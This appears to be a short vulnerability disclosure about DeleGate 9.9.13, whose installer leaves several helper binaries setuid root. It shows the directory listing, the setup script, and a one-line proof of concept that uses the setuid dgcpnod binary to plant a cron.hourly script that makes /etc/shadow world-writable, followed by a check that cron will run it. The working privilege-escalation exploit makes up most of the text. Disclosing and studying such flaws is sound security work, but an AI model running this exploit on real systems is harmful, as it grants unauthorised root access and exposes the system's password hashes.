Installation of delegate 9.9.13 sets some binaries setuid root, at least one of these binaries can be used to gain root access. larry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l total 1916 -r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind -r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot -r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod -rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate -rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty -r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam -rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh larry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh #!/bin/sh SUBINS="dgpam dgbind dgchroot dgcpnod" sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS" if [ $? != 0 ]; then su root -c "chown root $SUBINS; chmod 6550 $SUBINS" fi PoC: $ touch /tmp/rootme;chmod +x /tmp/rootme;./dgcpnod /tmp/rootme /etc/cron.hourly/rootme;echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme Confirming Cron will run the script: # run-parts --report --test /etc/cron.hourly /etc/cron.hourly/rootme